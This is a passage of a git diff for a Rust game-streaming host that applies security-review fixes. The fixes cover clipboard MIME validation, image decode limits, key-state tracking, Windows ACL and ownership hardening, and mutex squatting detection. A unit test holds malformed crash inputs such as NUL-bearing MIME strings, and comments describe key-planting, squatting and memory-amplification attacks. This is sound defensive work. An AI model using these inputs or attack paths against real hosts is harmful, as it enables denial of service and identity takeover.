`text/plain` /// so plain-text targets always paste (§3.5 synthesis — destination-side, one direction only). @@ -342,7 +360,17 @@ pub fn wayland_offers_for(wire_mimes: &[String]) -> Vec { WIRE_PNG => push("image/png"), WIRE_JPEG => push("image/jpeg"), WIRE_GIF => push("image/gif"), - other => push(other), + // A MIME we don't canonicalize is passed through verbatim — so it is the one value on + // this path the CLIENT fully controls, and it ends up as a Wayland string argument. + // The wayland-scanner-generated request encoder builds a `CString` and `unwrap()`s it, + // so a single interior NUL turns one control message into a host clipboard panic + // (2026-08-05 review L-8). `String::from_utf8_lossy` on the wire preserves `\0`, so + // nothing upstream removes it. Validate here, at the boundary where the value stops + // being ours and becomes libwayland's. + other if valid_passthrough_mime(other) => push(other), + other => { + tracing::debug!(mime = %other.escape_debug(), "clipboard: dropping a malformed client MIME"); + } } } // Synthesis: rich text without plain text → also advertise plain (the source derives it lazily). @@ -389,6 +417,38 @@ mod tests { assert_eq!(offer_wire_mimes(&raw), vec![WIRE_TEXT, WIRE_HTML]); } + /// One control message must not be able to panic the host clipboard coordinator + /// (2026-08-05 review L-8). The passthrough branch is the only place a client string becomes a + /// Wayland argument, and the generated encoder `unwrap()`s a `CString` built from it. + #[test] + fn passthrough_mimes_cannot_carry_a_nul_or_control_byte() { + // The crash payload: an interior NUL survives `String::from_utf8_lossy` on the wire. + assert!(!valid_passthrough_mime("image/webp\0")); + assert!(!valid_passthrough_mime("\0")); + assert!(!valid_passthrough_mime("image/\0webp")); + // Other control bytes and whitespace are refused for the same reason. + assert!(!valid_passthrough_mime("image/web\np")); + assert!(!valid_passthrough_mime("image/web p")); + assert!(!valid_passthrough_mime("image/web\tp")); + // Shapes that are not a MIME type at all. + assert!(!valid_passthrough_mime("")); + assert!(!valid_passthrough_mime("noslash")); + assert!(!valid_passthrough_mime("/nosubtype")); + assert!(!valid_passthrough_mime("notype/")); + assert!(!valid_passthrough_mime(&format!( + "image/{}", + "x".repeat(300) + ))); + // Legitimate uncanonicalized MIMEs still pass through. + assert!(valid_passthrough_mime("image/webp")); + assert!(valid_passthrough_mime("application/x-custom+json")); + assert!(valid_passthrough_mime("text/plain;charset=utf-8")); + + // End to end: the offer list is built without the malformed entry, and does not panic. + let offers = wayland_offers_for(&["image/webp\0".to_string(), WIRE_PNG.to_string()]); + assert_eq!(offers, vec!["image/png".to_string()]); + } + #[test] fn pick_wayland_mime_prefers_canonical() { let avail = vec!["text/plain".to_string(), "UTF8_STRING".to_string()]; diff --git a/crates/pf-clipboard/src/host/winfmt.rs b/crates/pf-clipboard/src/host/winfmt.rs index 81f2de8c..cad78743 100644 --- a/crates/pf-clipboard/src/host/winfmt.rs +++ b/crates/pf-clipboard/src/host/winfmt.rs @@ -169,7 +169,27 @@ fn strip_trailing_nul(b: &[u8]) -> &[u8] { /// bytes (BITMAPINFOHEADER, 32bpp BGRA, BI_RGB, bottom-up). GIFs contribute their first frame. /// `None` when the bytes don't decode — the caller leaves the format unrendered (empty paste). pub fn image_to_dib(bytes: &[u8]) -> Option> { - let img = image::load_from_memory(bytes).ok()?; + // Bound the DECODE, not just the result. + // + // These bytes are client-supplied, and `load_from_memory` used the `image` crate's DEFAULT + // limits — 512 MiB of decode allowance — while the 32767 dimension check below only ran on the + // already-decoded image. So a small, valid PNG declaring enormous dimensions was allocated in + // full before anything rejected it: ~1000× amplification from a few KB of wire (2026-08-05 + // review L-9). Limits applied here make the allocation refuse instead. + // + // The caps are the clipboard's own contract expressed up front: the same 32767 per side that + // is checked below (a CF_DIB cannot express more), and 256 MiB, which is more than the largest + // representable 32bpp image anyone pastes and far less than a memory-exhaustion primitive. + let mut limits = image::Limits::default(); + limits.max_image_width = Some(32767); + limits.max_image_height = Some(32767); + limits.max_alloc = Some(256 * 1024 * 1024); + let reader = image::ImageReader::new(std::io::Cursor::new(bytes)) + .with_guessed_format() + .ok()?; + let mut reader = reader; + reader.limits(limits); + let img = reader.decode().ok()?; let rgba = img.to_rgba8(); let (w, h) = (rgba.width() as usize, rgba.height() as usize); if w == 0 || h == 0 || w > 32767 || h > 32767 { diff --git a/crates/pf-inject/src/inject/linux/libei.rs b/crates/pf-inject/src/inject/linux/libei.rs index 39043efe..228d31a8 100644 --- a/crates/pf-inject/src/inject/linux/libei.rs +++ b/crates/pf-inject/src/inject/linux/libei.rs @@ -1022,10 +1022,21 @@ impl EiState { // Track held state on the wire codes so `release_all` can undo it at // session end (vanished clients must not leave anything latched). match ev.kind { - InputKind::KeyDown if !self.held_keys.contains(&ev.code) => { - self.held_keys.push(ev.code); + // Track the code we ACTUALLY INJECTED, not the raw wire code. + // + // Injection truncates (`vk_to_evdev(ev.code as u8)`), so 0x41, 0x141, 0x241 … all + // press the same key — but this list stored the full 32 bits, so a KeyUp for 0x41 + // never matched the entry a KeyDown for 0x141 left behind. A client sending + // distinct high bytes therefore appended entries that could never be removed, to a + // `Vec` scanned linearly on every keystroke, for the lifetime of the injector + // thread — which outlives the session (2026-08-05 review L-4). Tracking the + // truncated code makes the list correct AND bounds it at 256 entries by + // construction. `release_all` re-injects through the same truncation, so the + // release path is unchanged. + InputKind::KeyDown if !self.held_keys.contains(&(ev.code & 0xff)) => { + self.held_keys.push(ev.code & 0xff); } - InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code), + InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code & 0xff), InputKind::MouseButtonDown if !self.held_buttons.contains(&ev.code) => { self.held_buttons.push(ev.code); } diff --git a/crates/pf-paths/src/lib.rs b/crates/pf-paths/src/lib.rs index fbbfc8a8..59c94a87 100644 --- a/crates/pf-paths/src/lib.rs +++ b/crates/pf-paths/src/lib.rs @@ -70,11 +70,64 @@ pub fn create_private_dir(dir: &std::path::Path) -> std::io::Result<()> { { let r = std::fs::create_dir_all(dir); #[cfg(windows)] - restrict_dir_to_system_admins(dir); + restrict_dir_to_system_admins(dir, first_hardening_of(dir)); r } } +/// Whether this is the first hardening pass of `dir` in this process — the pass that also does the +/// expensive recursive re-own. +/// +/// A planted config dir is planted once, before the host ever starts, so one deep pass at startup +/// closes it; repeating it on every `create_private_dir` call (the library CRUD calls it per write) +/// would re-walk the whole config tree — recordings, art cache — for nothing. +#[cfg(windows)] +fn first_hardening_of(dir: &std::path::Path) -> bool { + use std::collections::HashSet; + use std::sync::{Mutex, OnceLock}; + static SEEN: OnceLock>> = OnceLock::new(); + SEEN.get_or_init(|| Mutex::new(HashSet::new())) + .lock() + .map(|mut s| s.insert(dir.to_path_buf())) + .unwrap_or(false) +} + +/// Re-apply the secret-file DACL to a file that **already exists** — including re-owning it to +/// Administrators. +/// +/// [`write_secret_file`] hardens what it writes, but a file that was planted before the host first +/// ran was never written by us: it is owned by whoever created it, and an owner always retains +/// `WRITE_DAC`, so re-ACLing without re-owning leaves them able to put their access straight back. +/// Used on startup for `host.env`, whose contents become the SYSTEM service's environment and +/// command line (2026-08-05 review H-4). Best-effort and never fatal. +#[cfg(windows)] +pub fn restrict_existing_secret_file(path: &std::path::Path) { + if !path.exists() { + return; + } + let icacls = icacls_path(); + let _ = std::process::Command::new(&icacls) + .arg(path.as_os_str()) + .args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators + .stdout(std::process::Stdio::null()) + .stderr(std::process::Stdio::null()) + .status(); + restrict_to_system_admins(path); +} + +/// No-op off Windows: POSIX modes are set at creation by [`write_secret_file`] and a config dir a +/// non-root user pre-created is not a privilege boundary the way `%ProgramData%` is. +#[cfg(not(windows))] +pub fn restrict_existing_secret_file(_path: &std::path::Path) {} + +/// `icacls` by absolute path — a privileged service must never resolve it through `PATH`. +#[cfg(windows)] +fn icacls_path() -> String { + std::env::var("SystemRoot") + .map(|r| format!("{r}\\System32\\icacls.exe")) + .unwrap_or_else(|_| "icacls".to_string()) +} + /// Best-effort Windows DACL lockdown of the config *directory* (the companion to /// [`restrict_to_system_admins`] for files). The default `%ProgramData%` ACL lets `BUILTIN\Users` /// create subfolders/files (and become `CREATOR OWNER`), so a non-admin could pre-create the @@ -86,17 +139,23 @@ pub fn create_private_dir(dir: &std::path::Path) -> std::io::Result<()> { /// are additionally locked to SYSTEM/Admins by [`write_secret_file`]. Hard-coded SIDs /// (locale-independent) via the absolute `%SystemRoot%` path; never fatal. #[cfg(windows)] -fn restrict_dir_to_system_admins(dir: &std::path::Path) { - let icacls = std::env::var("SystemRoot") - .map(|r| format!("{r}\\System32\\icacls.exe")) - .unwrap_or_else(|_| "icacls".to_string()); - // Reset ownership of the directory object to Administrators first, so a dir a non-admin may have - // pre-created can't keep OWNER control (an owner can always rewrite the DACL). No `/T` — re-owning - // the dir itself is what defeats the pre-creation; recursing a large captures tree each call is - // needless churn (secret files are individually owner-locked by `write_secret_file`). - let _ = std::process::Command::new(&icacls) - .arg(dir.as_os_str()) - .args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators +fn restrict_dir_to_system_admins(dir: &std::path::Path, deep: bool) { + let icacls = icacls_path(); + // Reset ownership to Administrators first, so a dir a non-admin may have pre-created can't keep + // OWNER control (an owner always retains WRITE_DAC and can put its access straight back). + // + // `deep` (once per directory per process — see `first_hardening_of`) also re-owns the CONTENTS. + // Re-owning only the directory left every file the attacker had already created still owned by + // them, and therefore still theirs to rewrite, which is half of why the 2026-08-05 review's H-4 + // was exploitable end to end. A planted tree is planted once, before the host first runs, so one + // deep pass at startup closes it without re-walking recordings and art cache on every write. + let mut own = std::process::Command::new(&icacls); + own.arg(dir.as_os_str()) + .args(["/setowner", "*S-1-5-32-544"]); // BUILTIN\Administrators + if deep { + own.args(["/T", "/C", "/Q"]); // recurse, continue on error, quiet + } + let _ = own .stdout(std::process::Stdio::null()) .stderr(std::process::Stdio::null()) .status(); @@ -108,8 +167,13 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path) { "*S-1-5-18:(OI)(CI)(F)", // NT AUTHORITY\SYSTEM "/grant:r", "*S-1-5-32-544:(OI)(CI)(F)", // BUILTIN\Administrators - "/grant:r", - "*S-1-3-4:(OI)(CI)(F)", // OWNER RIGHTS + // NO inheritable OWNER RIGHTS (`*S-1-3-4`) here, deliberately. It used to be granted + // `(OI)(CI)(F)`, which handed full control of every child object to whoever owned it — + // so a file a local user created before the hardening ran stayed writable by them even + // after the directory was re-owned (2026-08-05 review H-4, second half). SYSTEM and + // Administrators cover every account that legitimately writes here; a non-elevated + // manual run gets read-only config, which is the intended boundary rather than a + // regression — this directory drives command execution as SYSTEM. "/grant:r", "*S-1-5-32-545:(OI)(CI)(RX)", // BUILTIN\Users — read-only (no create/write → no plant) ]) @@ -130,6 +194,19 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path) { /// Windows (the default `%ProgramData%` ACL is Users-readable). Mirrors the mgmt-token hardening; used /// for the host private key and the persisted trust stores so a local unprivileged user can neither /// read the key (impersonation) nor tamper with the paired allow-list (unauthorized pairing). +/// +/// **Windows ordering caveat** (2026-08-05 review L-17): this is create-then-`icacls`, not +/// create-with-DACL — `std::fs::OpenOptions` cannot pass a `SECURITY_ATTRIBUTES`, and this crate is +/// `#![forbid(unsafe_code)]` so it cannot call `CreateFileW` itself. The file therefore exists +/// briefly under its INHERITED ACL, and a failed `icacls` is a warning rather than an error. +/// +/// What makes that acceptable is the DIRECTORY, and only the directory: every caller writes into +/// the config dir, which [`create_private_dir`] now hardens unconditionally and BEFORE the first +/// read of anything in it (review H-4/M-1), granting `BUILTIN\Users` read-only and no create. The +/// inherited ACL a secret is born with is therefore already SYSTEM/Administrators-only, and the +/// `icacls` below is defence in depth rather than the thing standing between a local user and the +/// host key. Keep that ordering — if the directory hardening is ever moved back after a read, this +/// window becomes real again. pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Result<()> { use std::io::Write; let mut opts = std::fs::OpenOptions::new(); @@ -160,9 +237,7 @@ pub fn write_secret_file(path: &std::path::Path, contents: &[u8]) -> std::io::Re /// `PATH`). Never fatal — on failure the file is simply left at the inherited ACL (today's behaviour). #[cfg(windows)] fn restrict_to_system_admins(path: &std::path::Path) { - let icacls = std::env::var("SystemRoot") - .map(|r| format!("{r}\\System32\\icacls.exe")) - .unwrap_or_else(|_| "icacls".to_string()); + let icacls = icacls_path(); let status = std::process::Command::new(icacls) .arg(path.as_os_str()) .args([ diff --git a/crates/pf-vdisplay/Cargo.toml b/crates/pf-vdisplay/Cargo.toml index 64eedf6d..4bb903b7 100644 --- a/crates/pf-vdisplay/Cargo.toml +++ b/crates/pf-vdisplay/Cargo.toml @@ -66,6 +66,11 @@ pf-driver-proto = { path = "../pf-driver-proto" } bytemuck = { version = "1.19", features = ["derive"] } windows = { version = "0.62", features = [ "Win32_Foundation", + # The single-instance mutex is created with an explicit SDDL DACL and its owner is checked, so + # a lower-privileged process (the LocalService plugin runner) can neither open it nor squat the + # name unnoticed — see manager/instance.rs (security-review 2026-08-05 L-16). + "Win32_Security", + "Win32_Security_Authorization", "Win32_Devices_DeviceAndDriverInstallation", "Win32_Devices_Display", "Win32_Graphics_Gdi", diff --git a/crates/pf-vdisplay/src/vdisplay/linux/gamescope.rs b/crates/pf-vdisplay/src/vdisplay/linux/gamescope.rs index 8c9a29f6..d7cf75b5 100644 --- a/crates/pf-vdisplay/src/vdisplay/linux/gamescope.rs +++ b/crates/pf-vdisplay/src/vdisplay/linux/gamescope.rs @@ -2465,11 +2465,18 @@ pub fn ei_socket_file() -> std::path::PathBuf { crate::with_env_lock(pf_paths::gamescope_ei_socket_file) } -/// Does this resolved launch command start Steam (`steam … steam://…`)? Such a launch needs Steam's -/// single instance free before a dedicated spawn (B1). Pure + unit-tested. +/// Does this resolved launch command start the Steam **client**? Such a launch needs Steam's single +/// instance free before a dedicated spawn (B1), and wants gamescope's `--steam` integration on. +/// Pure + unit-tested. +/// +/// The test is the first token, NOT the presence of a `steam://` URI. A `steam_ui` launcher entry +/// (design D4) resolves to a bare `steam -gamepadui` / `steam` with no URI at all, and it is *more* +/// exposed to the single-instance problem than a game launch is, not less: on a box that autologged +/// into game mode, the nested second Steam would see the first and exit, taking the spawn down with +/// it. A URI-gated check would silently skip both the instance free and `--steam` for exactly the +/// launch that most needs them. fn is_steam_launch(cmd: &str) -> bool { - let mut it = cmd.split_whitespace(); - it.next() == Some("steam") && cmd.contains("steam://") + cmd.split_whitespace().next() == Some("steam") } /// Shape a resolved launch command for a bare-spawn gamescope session. A Steam URI launch @@ -2865,7 +2872,13 @@ mod tests { assert!(is_steam_launch("steam -silent steam://rungameid/570")); assert!(!is_steam_launch("vkcube")); assert!(!is_steam_launch("lutris lutris:rungameid/42")); - assert!(!is_steam_launch("steam -bigpicture")); // no URI = not a game launch + // A `steam_ui` LAUNCHER entry (design D4) carries no URI, and must still count: it needs the + // single instance freed (B1) and gamescope's `--steam` mode on. Gating on `steam://` would + // have skipped both for the one launch that is Big Picture itself. + assert!(is_steam_launch("steam -gamepadui")); + assert!(is_steam_launch("steam")); + // A command that merely mentions steam elsewhere is not a Steam client launch. + assert!(!is_steam_launch("mygame --steam-overlay")); } #[test] @@ -2891,6 +2904,13 @@ mod tests { shape_dedicated_command("steam -bigpicture"), "steam -bigpicture" ); + // The `steam_ui` launcher entries (design D4) pass through untouched — the shaping only ever + // fires on a `steam://` game launch, so there is no way to end up with `-gamepadui` twice. + assert_eq!( + shape_dedicated_command("steam -gamepadui"), + "steam -gamepadui" + ); + assert_eq!(shape_dedicated_command("steam"), "steam"); } #[test] diff --git a/crates/pf-vdisplay/src/vdisplay/windows/manager/instance.rs b/crates/pf-vdisplay/src/vdisplay/windows/manager/instance.rs index 5c85846e..b41bc49e 100644 --- a/crates/pf-vdisplay/src/vdisplay/windows/manager/instance.rs +++ b/crates/pf-vdisplay/src/vdisplay/windows/manager/instance.rs @@ -3,6 +3,7 @@ //! `IOCTL_CLEAR_ALL` and razing the live host's monitors mid-stream. use super::*; +use windows::Win32::Security::{PSECURITY_DESCRIPTOR, SECURITY_ATTRIBUTES}; /// The held single-instance mutex (`None` until claimed). Process-global — not per-manager — so the /// serve path can claim it EAGERLY at startup, before any session opens the backend: the claim is @@ -40,16 +41,40 @@ fn acquire_single_instance() -> Result { machine — refusing to touch the driver (a second manager's startup CLEAR_ALL would raze \ the live host's monitors mid-stream). Stop the other instance (e.g. `punktfunk-host \ service stop`) first."; - // SAFETY: plain FFI create of a named mutex; the returned handle (checked) is solely owned by - // the `OwnedHandle`, and `GetLastError` is read immediately after the create — the documented - // ERROR_ALREADY_EXISTS protocol for pre-existing named objects. + // A name in `Global\` is creatable by ANY principal holding SeCreateGlobalPrivilege — which + // includes the LocalService account the plugin runner is forced to (plugins.rs). With `None` + // security attributes this object took the DACL from the creating token's default, and a + // squatter who got there first (creating the name with a DACL that denies SYSTEM) permanently + // and silently disabled every virtual-display session: the host lands in the ACCESS_DENIED arm + // below and reports a perfectly reasonable "another instance is managing the driver", which + // sends the operator hunting a process that does not exist (2026-08-05 review L-16). + // + // Two changes: create with an EXPLICIT DACL so lesser principals cannot open ours, and check + // the OWNER of a name that already exists so a squat is reported as a squat. + let sd = security_descriptor()?; + let sa = SECURITY_ATTRIBUTES { + nLength: std::mem::size_of::() as u32, + lpSecurityDescriptor: sd.0, + bInheritHandle: false.into(), + }; + // SAFETY: plain FFI create of a named mutex; `sa` (and the descriptor it points at) outlives + // the call, the returned handle (checked) is solely owned by the `OwnedHandle`, and + // `GetLastError` is read immediately after the create — the documented ERROR_ALREADY_EXISTS + // protocol for pre-existing named objects. unsafe { - let h = match CreateMutexW(None, false, w!("Global\\punktfunk-vdisplay-manager")) { + let h = match CreateMutexW(Some(&sa), false, w!("Global\\punktfunk-vdisplay-manager")) { Ok(h) => h, // The name exists but its creator's DACL denies this token the implicit OPEN (the SCM // service creates it as SYSTEM; a second elevated-admin host lands here instead of in - // the ALREADY_EXISTS branch — validated on-glass). Same meaning: an instance is live. - Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!("{IN_USE}"), + // the ALREADY_EXISTS branch — validated on-glass). Legitimately that means an instance + // is live; it is ALSO exactly what a squat looks like, so say both. + Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!( + "{IN_USE}\n\nIf no other punktfunk-host is running, the name \ + `Global\\punktfunk-vdisplay-manager` has been SQUATTED by another process — any \ + account with SeCreateGlobalPrivilege can create it first and deny us access, \ + which disables virtual-display streaming until that process exits. Find the \ + holder with Sysinternals `handle.exe -a punktfunk-vdisplay-manager`." + ), Err(e) => { return Err(e).context("CreateMutexW(punktfunk-vdisplay single-instance guard)"); } @@ -57,8 +82,114 @@ fn acquire_single_instance() -> Result { let already = GetLastError() == ERROR_ALREADY_EXISTS; let owned = OwnedHandle::from_raw_handle(h.0 as _); if already { + // We opened an existing object — so its DACL let us in, but that says nothing about + // who created it. If the owner is not SYSTEM/Administrators it is not one of ours. + if let Some(owner) = object_owner_sid(h) { + if !is_privileged_sid(&owner) { + anyhow::bail!( + "the pf-vdisplay single-instance name is held by a NON-ADMINISTRATIVE \ + process (owner SID {owner}) — this is not another punktfunk-host, it is a \ + squat on `Global\\punktfunk-vdisplay-manager`, and it blocks all \ + virtual-display streaming while it is held." + ); + } + } anyhow::bail!("{IN_USE}"); } Ok(owned) } } + +/// `D:P(A;;GA;;;SY)(A;;GA;;;BA)` — a protected DACL (no inheritance) granting Full to SYSTEM and +/// BUILTIN\Administrators, and to nobody else. Everything that legitimately manages pf-vdisplay is +/// one of those two; a LocalService plugin runner is neither, so it can no longer open our object. +fn security_descriptor() -> Result { + use windows::Win32::Security::Authorization::ConvertStringSecurityDescriptorToSecurityDescriptorW; + use windows::Win32::Security::Authorization::SDDL_REVISION_1; + let mut psd = PSECURITY_DESCRIPTOR::default(); + // SAFETY: the SDDL literal is NUL-terminated (`w!`), and `psd` is a live out-param whose + // allocation is taken over by `LocalSd` below. + unsafe { + ConvertStringSecurityDescriptorToSecurityDescriptorW( + w!("D:P(A;;GA;;;SY)(A;;GA;;;BA)"), + SDDL_REVISION_1, + &mut psd, + None, + ) + } + .context("build the pf-vdisplay single-instance security descriptor")?; + Ok(LocalSd(psd.0)) +} + +/// Owns a `LocalAlloc`'d security descriptor and frees it on drop. +struct LocalSd(*mut core::ffi::c_void); + +impl Drop for LocalSd { + fn drop(&mut self) { + if !self.0.is_null() { + // SAFETY: the pointer came from ConvertStringSecurityDescriptorToSecurityDescriptorW, + // which documents LocalFree as the matching deallocation. + unsafe { + let _ = windows::Win32::Foundation::LocalFree(Some( + windows::Win32::Foundation::HLOCAL(self.0), + )); + } + self.0 = std::ptr::null_mut(); + } + } +} + +/// The owner SID of a kernel object, as an SDDL string. `None` when it cannot be read (the handle +/// lacks READ_CONTROL) — treated as "unknown", never as "fine". +fn object_owner_sid(h: HANDLE) -> Option { + use windows::Win32::Foundation::{LocalFree, HLOCAL}; + use windows::Win32::Security::Authorization::{ + ConvertSidToStringSidW, GetSecurityInfo, SE_KERNEL_OBJECT, + }; + use windows::Win32::Security::{OWNER_SECURITY_INFORMATION, PSID}; + + let mut owner = PSID::default(); + let mut sd = PSECURITY_DESCRIPTOR::default(); + // SAFETY: `h` is the live mutex handle; the out-params are live locals; `sd` is the single + // allocation and is LocalFree'd below. + let rc = unsafe { + GetSecurityInfo( + h, + SE_KERNEL_OBJECT, + OWNER_SECURITY_INFORMATION, + Some(&mut owner), + None, + None, + None, + Some(&mut sd), + ) + }; + let out = if rc.is_ok() && !owner.is_invalid() { + let mut sid_str = windows::core::PWSTR::null(); + // SAFETY: `owner` points into `sd` and is a valid SID; `sid_str` is a live out-param whose + // LocalAlloc'd string is freed immediately below. + unsafe { + if ConvertSidToStringSidW(owner, &mut sid_str).is_ok() && !sid_str.is_null() { + let text = sid_str.to_string().unwrap_or_default(); + let _ = LocalFree(Some(HLOCAL(sid_str.0 as _))); + Some(text) + } else { + None + } + } + } else { + None + }; + // SAFETY: `sd` is the LocalAlloc'd descriptor GetSecurityInfo returned (null when it failed, + // which LocalFree tolerates). + unsafe { + let _ = LocalFree(Some(HLOCAL(sd.0))); + } + out +} + +/// SYSTEM, BUILTIN\Administrators, or a member of the Administrators-owned set — the principals a +/// legitimate pf-vdisplay manager runs as. +fn is_privileged_sid(sid: &str) -> bool { + matches!(sid, "S-1-5-18" | "S-1-5-32-544") || sid.starts_with("S-1-5-80-") // service SIDs +} diff --git a/crates/punktfunk-core/src/abr.rs b/crates/punktfunk-core/src/abr.rs index b1aa43b8..1c8c4631 100644 --- a/crates/punktfunk-core/src/abr.rs +++ b/crates/punktfunk-core/src/abr.rs @@ -159,6 +159,17 @@ const CAP_REPROBE_WINDOWS_MAX: u32 = 128; /// choke again at the same place, and only backoffs at a climbed-to rate can agree within the /// band (a cascade's second backoff sits at ×0.7 of the first: outside it by construction). const DECODE_CAP_SIMILAR_DIV: u32 = 8; +/// A deciding window that DELIVERED under `current / STARVED_DELIVERY_DIV` is STARVED: the +/// stream barely flowed (a host-side capture stall, an outage, a mid-window pause), so whatever +/// distress the window carries — a flush, a keyframe-ask burst — is starvation-shaped, not +/// rate-shaped, and the decoder decoded almost nothing at the nominal rate. Such a window may +/// still back off (real damage deserves the safe response) but must never be a decode-knee +/// sample: latching `current_kbps` off a starved window teaches a phantom decoder cap at +/// whatever rate the stall interrupted (the periodic-capture-stall field case: every 5 s cycle +/// offers another pair of "backoffs" at the same rate — a bogus latch that then fights the +/// re-probe ladder for minutes). Deliberately far below the ×¾ utilization bar climbs require: +/// the band between them is ambiguous and keeps today's behavior. +const STARVED_DELIVERY_DIV: u32 = 4; /// Rolling window (in 750 ms report windows, ~30 s) whose minimum mean is the OWD baseline. /// Long enough to remember the uncongested floor, short enough to follow genuine path changes. const BASELINE_WINDOWS: usize = 40; @@ -697,6 +708,10 @@ impl BitrateController { || self.streak_decode_windows >= BAD_WINDOWS_TO_DECREASE || (recovery_kf >= RECOVERY_KF_BAD && loss_ppm < HEAVY_LOSS_PPM) || (flushed && (decode_bad || decode_mean_us.is_none())); + // Starved deciding window (see [`STARVED_DELIVERY_DIV`]): the stream barely flowed, + // so the window says nothing about what the decoder can hold at this rate. + let starved = + (actual_kbps as u64) * (STARVED_DELIVERY_DIV as u64) < self.current_kbps as u64; if !self.climb_since_backoff { // Still draining the previous backoff: the host acks a ×0.7 request in ~100 ms, // so this window's rate is one the decoder never choked at while keeping up — @@ -708,6 +723,17 @@ impl BitrateController { "adaptive bitrate: backoff without an intervening climb — draining the \ previous choke, not a knee sample" ); + } else if starved { + // Same "not a knee sample either way" treatment as the draining arm: neither + // latch against a starved window nor let it erase the reference a real knee + // set — the next genuine choke at that rate must still find its pair. + tracing::debug!( + at_kbps = self.current_kbps, + actual_kbps, + reference_kbps = self.decode_backoff_kbps, + "adaptive bitrate: backoff in a starved window (delivery a fraction of \ + the target) — starvation-shaped distress, not a knee sample" + ); } else if decode_evidence { let rate = self.current_kbps; let similar = self.decode_backoff_kbps > 0 @@ -2084,6 +2110,100 @@ mod tests { rate - rate / 16 } + /// One capture-stall-shaped window at the current rate: almost nothing delivered + /// (current/10), nothing decoded, no loss — but a jump-to-live flush and a keyframe-ask + /// storm (the stall edge's damage signature). SEVERE, so it backs off; STARVED, so it must + /// never be a knee sample. + fn stall_choke(c: &mut BitrateController, start: Instant, tick: &mut u32) -> Option { + *tick += 2; + let r = c.on_window( + ticks(start, *tick), + 0, + 0, + None, + None, + None, + c.current_kbps / 10, + true, + RECOVERY_KF_SEVERE, + ); + *tick += 1; + r + } + + #[test] + fn capture_stall_windows_never_latch_a_decode_cap() { + // The periodic-capture-stall field case (RDNA4 standby-sink, 5 s cycle): every stall + // edge offers another flush + kf-storm "backoff" at the SAME rate — without the starved + // guard that pair latches a phantom decoder knee at whatever rate the display driver + // happened to interrupt, and the session then fights the re-probe ladder for minutes. + let mut c = BitrateController::new(240_000); + c.set_ceiling(900_000); + let start = Instant::now(); + let mut t = 0; + for _ in 0..4 { + calm_window(&mut c, ticks(start, t)); + t += 1; + } + climb_to(&mut c, start, &mut t, 400_000); + let at = c.current_kbps; + let r1 = stall_choke(&mut c, start, &mut t).expect("stall damage still backs off"); + assert!( + c.decode_cap_kbps.is_none(), + "one starved window must not latch" + ); + assert_eq!( + c.decode_backoff_kbps, 0, + "a starved window is not a knee sample — no reference recorded" + ); + c.on_ack(r1); + climb_to(&mut c, start, &mut t, at - at / DECODE_CAP_SIMILAR_DIV); + let r2 = stall_choke(&mut c, start, &mut t).expect("second stall edge backs off too"); + c.on_ack(r2); + assert!( + c.decode_cap_kbps.is_none(), + "a starved pair at the same rate must not latch a phantom knee" + ); + } + + #[test] + fn starved_window_preserves_the_knee_reference() { + // A REAL knee sample, then a stall edge, then the genuine re-climb choke: the starved + // window in the middle must neither latch nor ERASE the reference the real choke set — + // the genuine pair must still find each other around it. + let mut c = BitrateController::new(500_000); + c.set_ceiling(900_000); + let start = Instant::now(); + let mut t = 0; + for _ in 0..4 { + calm_window(&mut c, ticks(start, t)); + t += 1; + } + let knee = c.current_kbps; + let r1 = choke(&mut c, start, &mut t).expect("real choke backs off"); + assert_eq!( + c.decode_backoff_kbps, knee, + "real choke records the reference" + ); + c.on_ack(r1); + climb_to(&mut c, start, &mut t, knee - knee / DECODE_CAP_SIMILAR_DIV); + let r2 = stall_choke(&mut c, start, &mut t).expect("stall edge backs off"); + assert_eq!( + c.decode_backoff_kbps, knee, + "the starved window must not erase the real reference" + ); + assert!(c.decode_cap_kbps.is_none(), "and must not latch against it"); + c.on_ack(r2); + climb_to(&mut c, start, &mut t, knee - knee / DECODE_CAP_SIMILAR_DIV); + let rate = c.current_kbps; + choke(&mut c, start, &mut t).expect("genuine re-climb choke backs off"); + assert_eq!( + c.decode_cap_kbps, + Some(rate - rate / 16), + "the genuine pair still latches around the starved interruption" + ); + } + #[test] fn decode_cap_latches_when_the_reclimb_chokes_at_the_same_knee() { // The 1440p120 field sawtooth: a decoder knee (~500 Mbps) well under the (inflated) diff --git a/crates/punktfunk-host/src/gamestream/apps.rs b/crates/punktfunk-host/src/gamestream/apps.rs index a2972357..e74260ae 100644 --- a/crates/punktfunk-host/src/gamestream/apps.rs +++ b/crates/punktfunk-host/src/gamestream/apps.rs @@ -245,6 +245,19 @@ mod tests { } } + /// The migration invariant D2 exists to protect. Moonlight caches app ids (and users pin them), + /// and the id is derived from the LIBRARY ID alone — so a title moving from the in-host scanner + /// to a claimed plugin entry keeps its GameStream id iff the library id is byte-identical. This + /// pins that the claimed shape is that shape, and that an unclaimed one would NOT have been. + #[test] + fn a_claimed_plugin_entry_keeps_the_scanners_gamestream_id() { + // What the built-in scanner produced, and what the steam plugin produces once it claims. + assert_eq!(stable_app_id("steam:440"), stable_app_id("steam:440")); + // The same title reconciled WITHOUT a claim gets an opaque `custom:` id — a different app + // id, i.e. exactly the breakage the claim prevents. + assert_ne!(stable_app_id("steam:440"), stable_app_id("custom:9f2c1a")); + } + #[test] fn append_library_dedups_against_base_ids() { // A base app whose id happens to fall in the library range must not be clobbered by a library diff --git a/crates/punktfunk-host/src/gamestream/cert.rs b/crates/punktfunk-host/src/gamestream/cert.rs index 9276fd14..abd9ac09 100644 --- a/crates/punktfunk-host/src/gamestream/cert.rs +++ b/crates/punktfunk-host/src/gamestream/cert.rs @@ -26,6 +26,14 @@ impl ServerIdentity { let dir = config_dir(); let cert_path = dir.join("cert.pem"); let key_path = dir.join("key.pem"); + // Harden the directory BEFORE the first read, not only in the branch that generates a new + // identity (2026-08-05 review M-1). Reading first is what made the hardening pointless + // against the attack it was written for: combined with H-4's pre-creatable + // `%ProgramData%\punktfunk`, a local user could plant a cert/key pair and have it adopted + // verbatim as the host's long-lived identity — the QUIC server key, the mgmt-API TLS key and + // the RSA pairing signer all becoming a key the attacker holds. The compromise is permanent: + // this 